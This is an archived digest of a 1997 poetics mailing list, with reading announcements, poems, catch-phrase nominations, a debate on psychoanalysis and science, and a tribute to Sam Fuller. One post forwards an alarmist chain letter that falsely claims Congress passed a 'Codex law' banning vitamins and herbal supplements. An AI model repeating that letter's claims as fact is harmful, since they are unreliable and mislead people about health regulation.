Steve's work was effectively a thirty year retrospective showing the diversity and sustained attack of hisvisual / spatial poetics practices. He performed the whole of Carnival panel 2, for the first time. A solo tear de fierce, major. I read some 'f o gs', did some punch & judy Beefheart on the megaphone and a solo version of 'you see the sights but you don't see the struggle it's a struggle to see it's kept out of sight' with rusty metal thumb clickers. Wine floored. There was bird chitter. Carnivalesque revelry broke out until late, followed by a champagne, dry martini and bloody mary brunch. Touring could certainly put paid to me!

then - as you know by now, hurrying for the London double 'things' went 'orribly 'wrong'. My additional thanks to everyone involved in these events. Wishing there was more corporeal cross-pond traffic.

love and love
cris

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3. bertram

Re: Nominations please

Sat 1 Nov 1997

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*

"Objects in the mirror are exactly as they appear", Fred Eaglesmith

bertram mourits

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4. Carl Lynden Peters
Re: Nominations please
Sat 1 Nov 1997

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*
>
> *"Objects in the mirror are exactly as they appear", Fred Eaglesmith*

"I got a rock." (Charlie Brown)

c.

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5. Kali Tal
Re: Nominations please
Sat 1 Nov 1997

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*

Yo mo fo no mo po mo!

--Rappers For a Unified Self

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6. Layne Russell
Ebner
Sat 1 Nov 1997

Copied from the Zero City poetry list:

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PNG POETY ONLINE has published:

A TRIBUTE TO HANS EBNER: 1945 - 1997

http://ic.net/~knimmo/ebner/

~~~~~~

Layne

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7. Kurt Nimmo
In Memory of Hans Ebner
Sat 1 Nov 1997

PNG POETY ONLINE has published:

A TRIBUTE TO HANS EBNER: 1945 - 1997

http://ic.net/~knimmo/ebner/

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8. Ryan Whyte

oza

Sun 2 Nov 1997

---

with gratitude I stand before
you wall.
with wind two bottles
can't for a moment help but
window speech:
with gratitude stands forth:
tearful stage set held
in helpless splay gaze.
withness enthralled under
simple weather.
without unfolds into with
in, father uncle
inside gone way.

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9. R. Gancie

Sokal Juke

Sun 2 Nov 1997

Mark: Being a book dealer, on Wednesday I purchased a fairly large group (26 boxes) of psychoanalytic titles from a retiring psychoanalyst. I had told a number of my customers who are psychoanalysts that I would likely have some of the material available for sale on Saturday. So as they trickled in and we talked I mentioned that you had insisted that medical doctors and psychoanalysts were not scientists. To a person they protested your characterization. They cited their long medical training and its obvious adherence to the scientific method. Some also mentioned diagnostic and pharmacological functions as requiring their skills as scientists. My store is just two miles from the National Institutes of Health where many M.D.s some of them psychoanalysts take part in 'scientific' research, including epidemiology. Not far from my house at Fort Detrick scientists have spent decades fabricating plagues in a laboratory. On the matter of my paranoia at least one of my customers, good naturedly, suggested that you had a point but hastened to add that his was not a professional diagnosis and that you had not defined your term. On the specific nature of my paranoia

concerning corporate funding for reactionary intellectual agendas, I am indeed in suspect comapny, for example Stanley Fish and his book, There's No Such Thing As Free Speech--remaindered $6.98. Another inmate however is James A. Smith, the author of the Idea Brokers, Free Press, $24.95, a study of the history and development of think tanks and foundations and their sources for funding. Here in D.C. I am surrounded by these corporate funded think tanks and foundations which are predominately conservative and many downright reactionary. They DO serve as financial and publishing conduits for everyone I mentioned in my earlier E-mail. Smith's is one of a number of excellent books on this subject and their authors are not generally considered paranoid. Neither is Fish for that matter; he has suffered many attacks from the same sources Smith sites. I guess by association I could claim that I'm not paranoid; but if I am I came by it honestly and as the doctor said it's not clinical.---Carlo Parcelli P.S. The Smith book really is useful. His work on game theory, systems analysis, operations research et al and its connection with big defense oriented budgets is particularly good. For the consequences of the mating of game theory et al with the military try the Perfect War: Technowar in Vietnam. This book of course has particular import for people of my generation. I think that it is important to remember that the Deconstruction movement got a great deal of impetus from the student strikes of 1968, a time in France of tremendous political and social repression. PPS: My bookstore is considered one of the best stores in the city for scientific books especially physics and math. Scientists who venture into my used book shop are often stunned by the quality of the books that I carry on the sciences especially if I've been fortunate enough to recently have purchased a good library. Some of the people on this list have shopped at my store and I'm certain that they will attest to the excellent nature of the selection in all areas. I acquired the ability to buy at this level by reading the product.

↑ Index

10. Tom Beard

Re: Nominations please

Sun 2 Nov 1997

> *for best poetics catch phrase of the year*
> *(10 words or less, easily printed on banners)*

"There is so much violence yet to be done."

-- Kapka Kassabova

↑ Index

11. **mark weiss**
Re: Sokal Juke
Sun 2 Nov 1997

Psychoanalysts think that psychoanalysis is scientific. Astrologers feel that way about astrology. No one except psychoanalysts and their patients think it's a science, which doesn't mean that it's never helpful. Some doctors, even psychiatrists, are also scientists. Many diagnose and apply treatment as if reading from a cookbook, many practice herbal medicine and homeopathy as well as what they've learned in med school (this is becoming more common as the profession feels the insurance squeeze, and it's being sold to doctors as a cure for their economic woes. Apparently the many doctors who succumb to temptation didn't have very secure scientific training).

People outside the profession often don't realize that most psychiatrists are not psychoanalysts. Your psychoanalytically-inclined customers defended their claim to science by citing non-psychoanalytic psychiatric procedures.

I was a psychiatric social worker in agency and private practice for 15 years. I knew lots of psychoanalysts, and I diagnosed hundreds of patients. Here's a diagnostic story. An MD sent a diabetic woman to a clinic where I worked because she refused to give herself her insulin shots. She complained that they made her feel bad, reporting symptoms which he interpreted as psychosomatic. The visiting nurse managed to talk her into letting her administer the shot at home every day, but that was getting expensive and the woman still complained. The visiting nurse thought she was after attention. The usually sensible psychiatrists on our staff had all kinds of theories about the symbolic meaning of needles. I got the case. The woman appeared slightly bizarre, but not so's you'd cross the street to avoid her. I asked her what she meant when she said that the shots made her feel bad. She described hypoglycemia. I called her doctor, he lowered her insulin dose, and she started giving herself her own injections. Her bizarreness, a product of her hypoglycemia, also disappeared. A ten minute cure. We spent a fruitful 6 months working through the fallout of her recent divorce for her and her children.

It's nice talking about triumphs, and I wish it were always that easy. In this case a lot of folks trained in the scientific method had failed to apply Occam's Razor. Given a little more time they would have succeeded in killing the patient.

Here's another one. My wife's leg was exposed to toxic chemicals at work. Lesions formed and began to suppurate. Our doctor insisted it couldn't be a burn, treated her with antibiotics, when she got worse hospitalized her and treated her with IV antibiotics. These didn't help. He had her seen by a rheumatologist who immediately diagnosed her with Lupus. When the tests came back it was clear she didn't have lupus, so he diagnosed her with another form of immune

system deficit based on an elevated protease inhibitor. I went to the books, and also to another doctor. Depressed amounts of that protease inhibitor are the indication for the condition he had diagnosed; an elevated amount is typical in cases of chemical burns. My wife did eventually get better because we took case management into our own hands. All those doctors were trained in the scientific method.

This was not a particularly subtle case. The chemical exposure was known. And it looked like a burn. When we finally got her to a dermatologist he asked where she'd gotten the burn.

Everybody has had run-ins with careless or seriously inept doctors. This was a whole medical class-worth. They would all claim they were scientists.

As it happens, I am qualified to diagnose paranoia, but I would never make a serious diagnosis of anything beyond tendencies in that direction without more information and preferably at least one face-to-face meeting. Of course, I'd never ask someone on a shopping trip to diagnose me, either, whatever his qualifications.

It's important to distinguish between the awareness that there are bad things in the world (and people, even classes, with bad motives doing them) and the construction of systems based on conspiracies that would seem so elaborate that they would fall of their own weight. (Your appeal to the zeitgeist is more convincing, but would need to be fleshed out a bit to make a serious claim to explaining the historical context of deconstructivism.)

Paranoia is not a series of ideas, it's a thought pattern.

I'm real fond of Occam's Razor.

That's it for me. I shouldn't call you crazy, and you shouldn't defend your sanity, in public. And I think we may have taken enough of the list's time. I look forward to browsing your bookstore when I have the chance. Of course, I'll use an assumed name.

At 10:59 AM 11/2/97 -0500, you wrote:
>Mark: Being a book dealer, on Wednesday I purchased a fairly large group
>(26 boxes) of psychoanalytic titles from a retiring psychoanalyst. I had
>told a number of my customers who are psychoanalysts that I would likely
>have some of the material available for sale on Saturday. So as they
>trickled in and we talked I mentioned that you had insisted that medical
>doctors and psychoanalysts were not scientists. To a person they
>protested your characterization. They cited their long medical training
>and its obvious adherence to the scientific method. Some also mentioned
>diagnostic and pharmacological functions as requiring their skills as
>scientists. My store is just two miles from the National Institutes of

>Health where many M.D.s some of them psychoanalysts take part in
>'scientific' research, including epidemiology. Not far from my house at
>Fort Detrick scientists have spent decades fabricating plagues in a
>laboratory.
>On the matter of my paranoia at least one of my customers, good
>naturedly, suggested that you had a point but hastened to add that his
>was not a professional diagnosis and that you had not defined your term.
>On the specific nature of my paranoia concerning corporate funding for
>reactionary intellectual agendas, I am indeed in suspect comapny, for
>example Stanley Fish and his book, There's No Such Thing As Free
>Speech--remaindered $6.98. Another inmate however is James A. Smith, the
>author of the Idea Brokers, Free Press, $24.95, a study of the history
>and development of think tanks and foundations and their sources for
>funding. Here in D.C. I am surrounded by these corporate funded think
>tanks and foundations which are predominately conservative and many
>downright reactionary. They DO serve as financial and publishing
>conduits for everyone I mentioned in my earlier E-mail. Smith's is one
>of a number of excellent books on this subject and their authors are not
>generally considered paranoid. Neither is Fish for that matter; he has
>suffered many attacks from the same sources Smith sites. I guess by
>association I could claim that I'm not paranoid; but if I am I came by
>it honestly and as the doctor said it's not clinical.---Carlo Parcelli
>P.S. The Smith book really is useful. His work on game theory, systems
>analysis, operations research et al and its connection with big defense
>oriented budgets is particularly good. For the consequences of the
>mating of game theory et al with the military try the Perfect War:
>Technowar in Vietnam. This book of course has particular import for
>people of my generation. I think that it is important to remember that
>the Deconstruction movement got a great deal of impetus from the student
>strikes of 1968, a time in France of tremendous political and social
>repression.
>PPS: My bookstore is considered one of the best stores in the city for
>scientific books especially physics and math. Scientists who venture
>into my used book shop are often stunned by the quality of the books
>that I carry on the sciences especially if I've been fortunate enough to
>recently have purchased a good library. Some of the people on this list
>have shopped at my store and I'm certain that they will attest to the
>excellent nature of the selection in all areas. I acquired the ability
>to buy at this level by reading the product.
>
>

↑ Index

12. Susan Wheeler

Re: POETICS Digest - 31 Oct 1997 to 1 Nov 1997

Mon 3 Nov 1997

Re:

> *Hi,*
>
> *The Cross-Cultural Poetics Conference in Minneapolis*

cris, your travelogue is exemplary.

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

13. Christopher Alexander

n/formation 2

Mon 3 Nov 1997

---

announcing the 2nd issue of n/formation, an
online zine of "innovative" poetry/poetics.
work this time around from
Joe Amato
Sheila Murphy
Joel Kuszai
Rachel Daley
plus a "featured chapbook" from Charles Alexander
& Steven Marks' review of Clarice Lispector's
Selected Cronicas. follow the "current" link @

http://choengmon.lib.utah.edu/~calexand/nonce/

best, Chris

..
Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

14. Mark Prejsnar
Who is this POE guy anyway? (fwd)
Mon 3 Nov 1997

One of my other secret identities is as a library type. On one of the library listservs, I found the post quoted below...

Mark P.

---------- Forwarded message ----------
Date: Fri, 31 Oct 1997 13:17:49 -0800
From: Troy Farnham <[redacted]>
To: [redacted]
Subject: Who is this POE guy anyway?

This can be considered a weird and scary reference question.

Yesterday I had a student ask me if I could help her find information on Edgar Allen Poe.

She told me that "I don't know much about him except that he won a Grammy or something."

I'm happy to say that she was better informed when she left our library.

Troy Farnham
Library Technician II
Alan Thompson Library
Lower Columbia College
1600 Maple
PO BOX 3010
Longview, WA 98362

↑ Index

15. p. durgin
Request for Giorno
Mon 3 Nov 1997

Is anyone able to supply me with a URL or, better yet, an e-mail address for John Giorno Poetry Systems? I'm researching a project and any info is helpful. Thanks... Patrick F. Durgin

|||[redacted]|||

↑ Index

16. **Brent Long**

Re: Who is this POE guy anyway? (fwd)

Mon 3 Nov 1997

---

wasn't that the same year that Rimbaud won a Fulbright?

Laughing,

Brent

At 10:45 AM 11/3/97 -0500, you wrote:
>One of my other secret identities is as a library type. On one of the
>library listservs, I found the post quoted below...
>
>Mark P.
>
>---------- Forwarded message ----------
>Date: Fri, 31 Oct 1997 13:17:49 -0800
>From: Troy Farnham <[redacted]>
>Reply-To: [redacted]
>To: [redacted]
>Subject: Who is this POE guy anyway?
>
>This can be considered a weird and scary reference question.
>
>Yesterday I had a student ask me if I could help her find information on
>Edgar Allen Poe.
>
>She told me that "I don't know much about him except that he won a Grammy
or
>something."
>
>I'm happy to say that she was better informed when she left our library.
>
>Troy Farnham
>Library Technician II
>Alan Thompson Library
>Lower Columbia College
>1600 Maple
>PO BOX 3010
>Longview, WA 98362
>
>

↑ Index

17. Brent Long
Other Poetics Lists
Mon 3 Nov 1997

Anyone aware of any other poetics lists that may be out there?

Thanks,
Brent Long

↑ Index

18. Aldon Nielsen
Poetry reading by Mullen and Singleton
Mon 3 Nov 1997

On Monday, Nov. 24, at 7:30 PM, there will be a poetry reading by Harryette Mullen and giovanni singleton at Loyola Marymount University in Los Angeles (over by LAX). The reading will be held at the McIntosh Center in Sullivan Hall. Wanted to give early notice to all LA folk on this list -- will post fuller info with directions when the date nears --

↑ Index

19. Michael Magee
Re: Poetry reading by Mullen and Singleton
Mon 3 Nov 1997

Just a plug for Harryette - the reading she did at Temple was wonderful. An interview that Farah Griffin, Kristen Gallagher and I did with her while she was in Philly will be available somewhere soon at which point I'll let y'all know. -Mike.

According to Aldon Nielsen: >
> On Monday, Nov. 24, at 7:30 PM, there will be a poetry reading by Harryette
> Mullen and giovanni singleton at Loyola Marymount University in Los Angeles
> (over by LAX). The reading will be held at the McIntosh Center in Sullivan
> Hall. Wanted to give early notice to all LA folk on this list -- will post
> fuller info with directions when the date nears --
>

↑ Index

20. Jean Day
Harryette Mullen, Jean Day, Ann Veronica Simon reading
Mon 3 Nov 1997

For SF Bay Area folks--

I've been off the list for several months for lack of time, so apologies if this reading's already been announced:

Harryette Mullen, Jean Day, and Ann Veronica Simon at UC Berkeley, Nov. 4, 8 pm, in the Maude Fife Room, 315 Wheeler Hall, UCB, reception following.

Cheers,

Jean Day

↑ Index

21. Charles Bernstein
Wordrobe
Mon 3 Nov 1997

Highly recommended:

WORDROBE

a show of clothes with words
curated by Richard Martin
at the
The Costume Institute
Metropolitan Museum of Art
NYC
through Nov. 23

*** worth a detour

↑ Index

22. Pierre Joris
mi muertos
Mon 3 Nov 1997

What a drag -- so many gone this year, among those who taught & delighted me, & now, after Ginsie & Burroughs, it's

SAM FULLER

doing his final cut.

Sam was one of the funniest, most gloriously impish & irreverent, best & fastest talking (probably the only person I know able to outjaw David Antin), most generous & honest persons it was my pleasure to have known.

& the movies & the books! The only guy who made successful B-movies in Hollywood with politics like no one else dared to do in the fifties &

when he had to leave settled in Paris, wrote scripts & stories & novels, undaunted, undauntable, pounding away on an old mechanical typewriter all day long, then went back to Hollywood when given a chance, made WHITE DOG which Paramount was so freaked out about (it dealt head-on with racism) that they kept it shelved for twelve years. He had started by making 2 of the finest, strangest westerns -- the first one from the p-o-v of the killer of Jessie James (& he always wanted to do another one on the James gang, their sexualities, especially) & later made CRIMSON KOMONO (2 detectives in L.A. -- one white, one Japanese American -- looking for the bad guy, meeting the blond bombshell & it is the japanese-american who walks away with the lady at the end -- an unheard of thing for a middle fifties movie), & then there is SHOCK CORRIDOR & a dozen others, with the best war movies, so profoundly accurate that they are anti-war movies & he was only allowed to do them by leaning heavy on the fact that he had been there & seen it & that they were accurate. And PICK UP ON SOUTH STREET, which freaked J Edgar Hoover out because of the American anti-hero's total disdain for FBI pressure re patriotism, so much so that J Edgar called Fuller & tried to get him to change the dialogue or else... That same movie was felt to be so "anti-communist" by the French (whose stalinist Communist Party controlled the film distribution system in France in those days) that the dialogue of the French version was totally rewritten, turning a political spy/pick-pocket story into a pure gangster movie, which didn't make any sense anymore. 'Nuff said.

I cld go on for hours -- did, some ten years ago, an oral (auto)biography of Sam for French radio (still have the original reel-to-reel tapes & will some day put together an English version if a station over here is interested).

One anecdote before closing: one night -- in fact it was the night of the day Orson Welles died, we found out driving home -- Fuller & I had dinner in a Chinese restaurant (the only kind he liked, even in Paris) & he tried to convince me that besides writing poetry I should make films. I told him I didn't have a clue. So he said: "You don't need one, you're a writer; to make a good movie all you need is a good story -- the rest is easy -- directors, actors are a dime a dozen, all of 'em -- nothing to it -- but without a good story you're dead. It's the writers who are the important ones.." Then there was the story of how, the day of the Cuban embargo, Yul Brynner bribed his (Sam's) tobacconist & sneaked into Sam's humidor & made away with all his Cuban cigars, and then there are the 1000 other stories I can still hear him telling.

Go out & rent one of his flicks -- or get Godard's "Pierrot le Fou" in which he plays himself (briefly) or Wenders' 'The American Friend" where he plays a mafioso (& which also stars Nicholas Ray & Dennis Hopper).

Hope they have a good supply of Cuban cee-gars wherever he's off to.

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/~joris/

"I think there is a world market for about five computers.'

-Thomas J. Watson
Chairman of the Board-IBM, 1943
==========

↑ Index

23. Poetics List Administration

Bouchard's new address (fwd)

Tue 4 Nov 1997

I meant to send this out last week but it slipped by already slippery mind.

Perhaps I already did so--

jk

---------- Forwarded message ----------
Date: Thu, 30 Oct 1997 08:24:03 -0500
From: Marcella <[redacted]>
To: "'[redacted]'" <[redacted]>
Subject: Bouchard's new address

I just heard from Dan that yes he has moved & as he can't rejoin the list right now has given me the definitive address for anyone who wants to contact him:

Dan Bouchard
P.O. Box 390408
Cambridge, MA 02139
[redacted]

↑ Index

24. Issa Clubb

Re: mi muertos

Tue 4 Nov 1997

>SAM FULLER
This is a giant loss; really a great, weird filmmaker.

> *Go out & rent one of his flicks -- or get Godard's "Pierrot le Fou" in which he plays himself (briefly) or Wenders' 'The American Friend" where he plays a mafioso (& which also stars Nicholas Ray & Dennis Hopper).*

Also, if you can find it (I know it's at Kim's, for those of you in NYC), there's a fantastic movie called "Tigrero: A Film That Was Never Made" that you have to see. It's a documentary Jim Jarmusch made in 1994, accompanying Sam Fuller to the same tiny village in the Amazon rainforest where he had tried to make a movie (Tigrero, natch) some 50 years before -- I believe it failed because they couldn't get insurance. All the villagers remember him, he gets this big smile around his cigar and tells stories about John Wayne, Hollywood in the forties & fifties, studio politics, etc. -- it's totally great. The scene where Fuller screens the footage he did shoot, and the villagers see relatives long since gone, is very emotionally powerful and is maybe now, sadly, parallel to the act of watching Fuller tell dirty jokes in his lovely, raspy voice.

--issa

Issa Clubb
Criterion Collection Art Dept.
mailto:[redacted]

↑ Index

25. Harold Rhenisch

Soko Loco

Tue 4 Nov 1997

---

mark weiss wrote:

Psychoanalysts
think that psychoanalysis
is scientific.

Astrologers feel
that way about
astrology.

No one except
psychoanalysts and their patients
think it's a science, which doesn't mean

that it's never helpful. Some
doctors,
even psychiatrists,

are also scientists. Many
diagnose
and apply

treatment
as if reading
from a cookbook,

many
practice herbal medicine and
homeopathy as well as

what they've learned in med school
(this is becoming
more common

as the profession feels the insurance
squeeze,
and it's being sold

to doctors
as a cure for their economic woes. Apparently
the many

doctors who succumb
to temptation didn't
have very secure scientific training.

which is to say that

Poets think that poetry
is metamorphic.
Novelists feel

that way about
novels.
No one except poets

and their readers
think it's a metaphor,
which doesn't mean

that it's never helpful. Some writers,
even poets,
are also metamorphists. Many

diagnose
and apply
images as if reading

from a cookbook, many
practice
lurid imagery and

metaphysics as well as
what
they've learned in grad school

(this is becoming
more common
as the profession feels the electronic

squeeze,
and it's being sold
to poets

as a cure for their economic woes.
Apparently the many
poets who succumb

to temptation didn't
have very secure
metamorphic training.

↑ Index

26. Layne Russell
Re: Other Poetics Lists
Tue 4 Nov 1997

Timothy Materer wrote:

> *What I'd like to see is a list that would discuss modern poets: for example, Stevens, Moore, Crane, Frost, Loy, Williams, Hughes, Auden, Moore. In other words, poets in the first generation of modernists who don't have a list*
> *of their own (Pound, Eliot) and who wouldn't be discussed on cap-l or poetics.*
>
> *Brent or anyone else, would you be interested in such a list?*
>
> *Timothy Materer*

I am very interested.

Layne

socopoet list-owner
http://www.sonic.net/layne
A Quiet Place

↑ Index

27. Don Cheney
What? Isabel Ringing wasn't available for a quote?
Tue 4 Nov 1997

This from an article about the East Bay's Hayward Fault in the San Francisco Chronicle October 14, page A8

The "right here" in the quote refers to "the University of California's 1923-vintage Memorial Stadium":

"'I hope I'm right here when it happens, man. I want to see the carnage,' grinned Ben Dover, 32, as he sat in the stands with four buddies late one afternoon, cooling down after a bicycle ride. 'Just imagine - with about 70,000 capacity seats here, you'd see flames, you'd see bodies, the whole nine yards. I like stuff like that'

"His friends rolled their eyes and chuckled."

↑ Index

28. Pritchett,Pat
FW: Codex Alimentarius
Tue 4 Nov 1997

Dear Listopolitans - a heads up from Ralph Metzner re: yet another insidious new bill being rushed thru Congress which will further curtail our liberties, to wit, regulating our access to vitamins, herbal supplements, etc.

Thanks,
Patrick Pritchett

_____

Dear All -- "Health-minded Americans are presently facing the greatest threat to the freedom of health choice ever before encountered, through an organization known as the UN/WHO CODEX... The Codex is in reality an underhanded, politically motivated, weakly disguised attempt by the international pharmaceutical cartel to limit access to many popular, safe and cost-effective nutritional and herbal supplements in order to take control of the alternative healthcare industry." (from a letter by Mitchell Fleischer, MD, Univ. of Virginia) It's part of the more general take-over of the global economy by the multinationals through WTO, courtesy of GATT and NAFTA. Read On....

>YOU MAY LOSE THE RIGHT TO YOUR VITAMINS, HERBS, AND OTHER SUPPLEMENTS IN
>LESS THAN TWO WEEKS!!!

>
>An insidious bill, called the CODEX LAW or CODEX ALIMENTARIUS, has al-
ready
>been sneaked through both the Senate and the House of Representatives in
>record time. It has been passed by both houses. The Codex is a nutrition
>code to set worldwide standards for foods, drugs, pesticides and their
>trade. The latest German proposal includes the following provisions:
>
>1. No vitamin, mineral, herb or food supplement can be sold for
>preventative or therapeutic use.
>2. None sold as a food can exceed dosage levels set by the Commission.
>For example, 50 mg of vitamin C is the top dosage sold in Germany today.
>3. CODEX regulations for dietary supplements would become legally binding
>in the USA through the GATT Treaty, which would involve enormous fines in
>America if we did not comply.
>4. All new dietary supplements will be banned unless they pass the CODEX
>approval process. You can imagine what that means.
>
>The wording in the Congressional Bill uses the term "harmonization" which
>means that most senators and congresspersons are likely not aware of the
>implications.
>
>The delegates that make up and decide on the CODEX mandates are made up
of
>90% of the giant Multi-national Pharmaceutical corporations. The drug
>companies want to monopolize and create pharmaceutical versions of the
>Natural healthfood and nutrient business throughout the world. An example
of
>the consequences: possession of DHEA is now a felony in Canada with
>the same penalty as that for possession of drugs. You could go to jail for
>having DHEA in your house.
>
>You have LESS THAN 10 DAYS to save your vitamins!
>
>The latest development as of 10/18/97 is that the House and Senate are now
>voting on a 3rd merged version of the Codex Bill. (The House Companion
>Bill).
>
>What you need to do now is very simple.
>
>1. First, pick up your phone and call [redacted]. This is the
>Congressional switchboard. Leave a message for your Senators AND your

>Representatives. Request that the Harmonization Language in the FDA Reform
>Bill be amended when it goes to the Conference Committee. State that you
>oppose to Codex Bill and any attempt to regulate nutritional supplements as
>drugs. This committee, as far as we know, will be meeting THIS WEEK, the
>week of 10/21. Also state that you request a public comments period
>concerning the harmonization agreements.
>
>2. Please telephone, fax, and email everyone you can think of. Make a
>phone tree. Email everyone on your list. Send them this information and
>ask them to make calls as well. To stay updated on what to do, email
>[redacted] and request to be put in his distribution list. Or,
>call John Hammel at [redacted] for a recorded message.

Additional numbers to call, fax or write are: Dr. Robert Moore and/or Dr. Elizabeth Yetley, FDA Office of Specific Nutritionals; HFS-456, US FDA; 200 C Str., SW; Washington, DC 20204. Tel:[redacted]; Fax: [redacted].

This is an extremely dangeours development, and the time is urgent. Please do what you can.
Ralph Metzner

Ralph Metzner, Ph.D.
[redacted]
Tel: [redacted]
Fax: [redacted]
Green Earth Foundation, P.O. Box 327, El Verano, CA 95433.
Check out our new website: http://www.rmetzner-greenearth.org

↑ Index

29. henry gould
sleep of poetics
Tue 4 Nov 1997

---

the list seems really dead lately. I guess it goes through these phases. people are busy with school, etc. But it's down to a few bleeps, queries, notices. People are backchanneling, now cut that out! I wonder if it's dead for good? I'm sure everybody has their own opinion.

Here's a topic(s) for discussion, maybe?

POETRY, ART & SOCIAL JUSTICE

The NEA debate is just one element of what seems to have been a de-funding of the arts over a long period now. I live in a semi-rundown urban school district where the arts are simply not even near a priority. If we think that social equity

should include some access to the tools & traditions of re-imagining reality through art, we are in sad shape. There was a big op-ed piece in the Times a few weeks ago by I-forget-who saying the defunding of NEA is probably a good idea because art is fundamentally based on extraordinary individual talent & subjecting it to the democratic levelling process only hurts the art. This seems like a sad attitude. There should be some sensible middle ground which recognizes the value of the arts & provides some means to pursuing it from primary school up.

So I'm interested in hearing from people out there who deal with poetry and dramatic arts in the school systems as a way of providing some of this foundation AND ALSO providing tools for young people to counteract mass media commercial stereotyping of reality. Anybody out there doing anything like that? Might be something to talk about in relation to a "poetics"... [I know this is a career for some people...] anybody feel like gabbing a little? - Henry Gould

↑ Index

30. William Burmeister Prod

Re: sleep of poetics

Tue 4 Nov 1997

On Nov 4, 4:05pm, henry gould wrote:
> Subject: sleep of poetics
> the list seems really dead lately. I guess it goes through these phases.
> people are busy with school, etc. But it's down to a few bleeps, queries,
> notices. People are backchanneling, now cut that out! I wonder if it's
> dead for good? I'm sure everybody has their own opinion.
>
> Here's a topic(s) for discussion, maybe?
>
> POETRY, ART & SOCIAL JUSTICE
>
> The NEA debate is just one element of what seems to have been a de-funding
> of the arts over a long period now. I live in a semi-rundown urban school
> district where the arts are simply not even near a priority. If we think
> that social equity should include some access to the tools & traditions of
> re-imagining reality through art, we are in sad shape. There was a big op-ed
> piece in the Times a few weeks ago by I-forget-who saying the defunding of
> NEA is probably a good idea because art is fundamentally based on
extraordinary
> individual talent & subjecting it to the democratic levelling process only
> hurts the art. This seems like a sad attitude. There should be some
sensible

> middle ground which recognizes the value of the arts & provides some means
> to pursuing it from primary school up.
>
> So I'm interested in hearing from people out there who deal with poetry
> and dramatic arts in the school systems as a way of providing some of
> this foundation AND ALSO providing tools for young people to counteract
> mass media commercial stereotyping of reality. Anybody out there doing
> anything like that? Might be something to talk about in relation to
> a "poetics"... [I know this is a career for some people...]
> anybody feel like gabbing a little? - Henry Gould
>-- End of excerpt from henry gould

Henry,

Know how you feel right now. I have been a very active lurker of late. Does that count for anything? The list server has been a little slow, especially late last week when i had some posts temporarily held up in the server.

>the defunding of
>NEA is probably a good idea because art is fundamentally based on extraordinary
>individual talent & subjecting it to the democratic levelling process only
>hurts the art.

This is a lame epitaph isn't it? I say epitaph since one is implied by the journalist (probably best remembered as I-forget-who) who wrote the thing. But the feds are hell-bent on wrecking funding for the arts and arts education, and so the only viable alternative (regarding your angle in this discussion) is volunteerism. Where I work, they regularly ask for volunteers to tutor local kids, but always it is in math or science since this is an engineering design/manufacturing facility in South Florida. I would be a good idea to ask those who oversee this program to expand our role to include the arts and literature. Ironically enough, it was a retired volunteer at my high school who tutored me in electronics in auto repair shop! I suppose involvement in the local poetry readings in bookstores, or wherever, is another way to support youth poetry.

William Burmeister

↑ Index

31. **mark weiss**
Re: Soko Loco
Tue 4 Nov 1997

I think I get it. 1) I write cadenced prose. Thank you!
2) Any noun can be substituted for any other noun and the sentence will still appear to make sense, or at least express an opinion. A true revelation!

At 10:25 AM 11/4/97 -0700, you wrote:
>mark weiss wrote:
>
>Psychoanalysts
>think that psychoanalysis
>is scientific.
>
>Astrologers feel
>that way about
> astrology.
>
>No one except
>psychoanalysts and their patients
>think it's a science, which doesn't mean
>
>that it's never helpful. Some
>doctors,
> even psychiatrists,
>
are also
scientists. Many
>diagnose
>and apply
>
> treatment
> as if reading
>from a cookbook,
>
> many
>practice herbal medicine and
>homeopathy as well as
>
>what they've learned in med school
>(this is becoming
> more common

>
>as the profession feels the insurance
> squeeze,
> and it's being sold
>
>
>to doctors
>as a cure for their economic woes. Apparently
>the many
>
> doctors who succumb
>to temptation didn't
>have very secure scientific training.
>
>
>which is to say that
>
>
>Poets think that poetry
>is metamorphic.
> Novelists feel
>
>that way about
> novels.
>No one except poets
>
> and their readers
>think it's a metaphor,
>which doesn't mean
>
>that it's never helpful. Some writers,
> even poets,
>are also metamorphists. Many
>
>diagnose
>and apply
> images as if reading
>
>from a cookbook, many
>practice
> lurid imagery and
>

>metaphysics as well as
>what
> they've learned in grad school
>
> (this is becoming
> more common
>as the profession feels the electronic
>
> squeeze,
>and it's being sold
>to poets
>
>as a cure for their economic woes.
>Apparently the many
>poets who succumb
>

  to temptation didn't
>have very secure
>metamorphic training.
>
>

↑ Index

32. William Burmeister Prod

Re: sleep of poetics

Tue 4 Nov 1997

Be careful what you say. Your post may be cannibalized and converted into a poem.

- signed William Burmeister with mushrooms in a red wine sauce

↑ Index

33. mark weiss

Sleep of poetics

Tue 4 Nov 1997

It's a poser: I'm more active on the list when I'm most busy, because it's a useful break if I'm chained to the computer anyway.

Anything that puts food in the mouths of poets and other artists or affords them some recognition is to the good. On the other hand, I think that the NEA's tack has not been the most effective way to help the arts find an audience. I

remember the poor benighted teachers who were forced to teach poetry or art or music and had no love for their subject. What they taught was that poetry is a stupid kind of riddle, museums are boring storage houses for the best depictions of reality our ancestors could come by before the centerfold, and music other than rock sucks. In other words, they conveyed what they really felt, whatever the words might be that came out of their mouths. What if the NEA spent its money teaching people to love the arts or recruiting teachers who do? While that might force some belt-tightening for the present, wouldn't it help seed the future? I am haunted by the idea of the German coal and steel town of Wupperthalthat funds with its taxes the Wupperthaler danzteater, surely one of the most challenging and best performance companies around. I'm told the locals take a pride in it that we tend to reserve for basketball teams. Somehow these workers got the idea that it was alright to like these extremely strange and sometimes painful events.

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34. Timothy Materer

Re: Other Poetics Lists

Tue 4 Nov 1997

>>Anyone aware of any other poetics lists that may be out there?
>>Thanks, >Brent Long
>
There's a list of lists at gopher://gopher.english.upenn.edu/11/Lists/
Their listings includes beat-l, cap-l (contemporary American poetry), modbrits (might include some poetics, but not much), and tse (T. S. Eliot, which we run here at Missouri). They don't seem to have an entry, oddly, for Poetics--nor for the Pound list at Maine. And I'm sure there is a discussion list for Irish poetry and literature somewhere. I also run a very small
James Merrill list--discussing JM's symbolist poetics of late.

